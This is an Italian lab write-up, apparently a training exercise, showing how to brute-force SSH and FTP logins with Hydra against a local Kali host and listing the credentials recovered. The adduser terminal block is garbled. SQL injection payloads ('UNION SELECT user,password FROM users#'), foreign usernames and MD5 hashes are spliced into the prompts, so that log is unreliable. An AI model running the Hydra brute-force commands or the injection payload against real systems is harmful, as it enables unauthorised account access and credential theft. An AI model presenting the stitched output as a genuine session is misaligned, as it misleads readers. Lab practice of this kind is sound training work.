

# Authentication cracking con Hydra

## Configurazione ambiente di lavoro

- **path file di configurazione sshh:**  
`/etc/ssh/sshd_config`
- **username list usata:**  
`~/Desktop/MODULE_2/M2S2L5_week_project/lista_username.txt`
- **password list usata:**  
`~/Desktop/MODULE_2/M2S2L5_week_project/lista_password.txt`

### 1. Creazione nuovo utente:

**user name:** test\_user

**password:** test\_password

```
(kali㉿kali)-[~/Desktop/MODULE_2/M2S2L5_week_project]
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1002) ...
info: Adding new user `test_user' (1002) with group `test_user (1002)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password: ID: 1' UNION SELECT user,password FROM users#
Retype new password: name: admin
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
Full Name []: test user
Room Number []: 5f49cc3bSaa765d61d8327deb882cf99
Work Phone []: UNION SELECT user,password FROM users#
Home Phone []: name: gordonb
Other []: name: e99a18c428cb38d5f260853678922e03
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental/extra groups `users' ...
info: Adding user `test_user' to group `users' ...
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
└─$ ID: 1' UNION SELECT user,password FROM users#
First name: admin
```

### 2. Attivazione servizio SSH con:

Comando usato: `sudo service ssh start`

### 3. Test della connessione SSH:

```
(kali㉿kali)-[~/Desktop/MODULE_2/M2S2L5_week_project]
$ ssh test_user@192.168.0.115
test_user@192.168.0.115's password:
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 9 05:53:05 2025 from 192.168.0.115
```

## Cracking SSH

### 4. Finita la configurazione siamo pronti alla fase attiva di cracking, eseguendo il comando:

```
hydra -V -L lista_username.txt -P lista_password.txt 192.168.0.115 -t 4 ssh
```

Abbiamo ottenuto delle credenziali di accesso durante la scansione:

```
[ATTEMPT] target 192.168.0.115 - login "test_user" - pass "baseball" - 13 of 462
[22][ssh] host: 192.168.0.115 login: test_user password: test_password
[ATTEMPT] target 192.168.0.115 - login "!root" - pass "123456" - 22 of 462
[ATTEMPT] target 192.168.0.115 - login "!root" - pass "password" - 22 of 462
```

Sono le credenziali dell'utente test creato nella fase di configurazione.

## Fase 2: cracking FTP service

### 1. Installazione servizio ftp con il comando:

```
sudo apt install vsftpd
```

## 2. Controllo del servizio attivo:

```
(kali㉿kali)-[~/Desktop/MODULE_2/M2S2L5_week_project]
$ ftp test_user@192.168.0.115
Connected to 192.168.0.115.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

## 3. Cracking ftp:

Per scovare utenze e password ftp eseguiamo il comando:

`hydra -V -L lista_username.txt -P lista_password.txt 192.168.0.115 -t 4 ftp`

```
(0/0)
[21][ftp] host: 192.168.0.115 login: test_user password: test_password
[ATTEMPT] target 192.168.0.115 - login "!root" - pass "123456" - 22 of 462 [
[ATTEMPT] target 192.168.0.115 - login "!root" - pass "password" - 23 of 462
```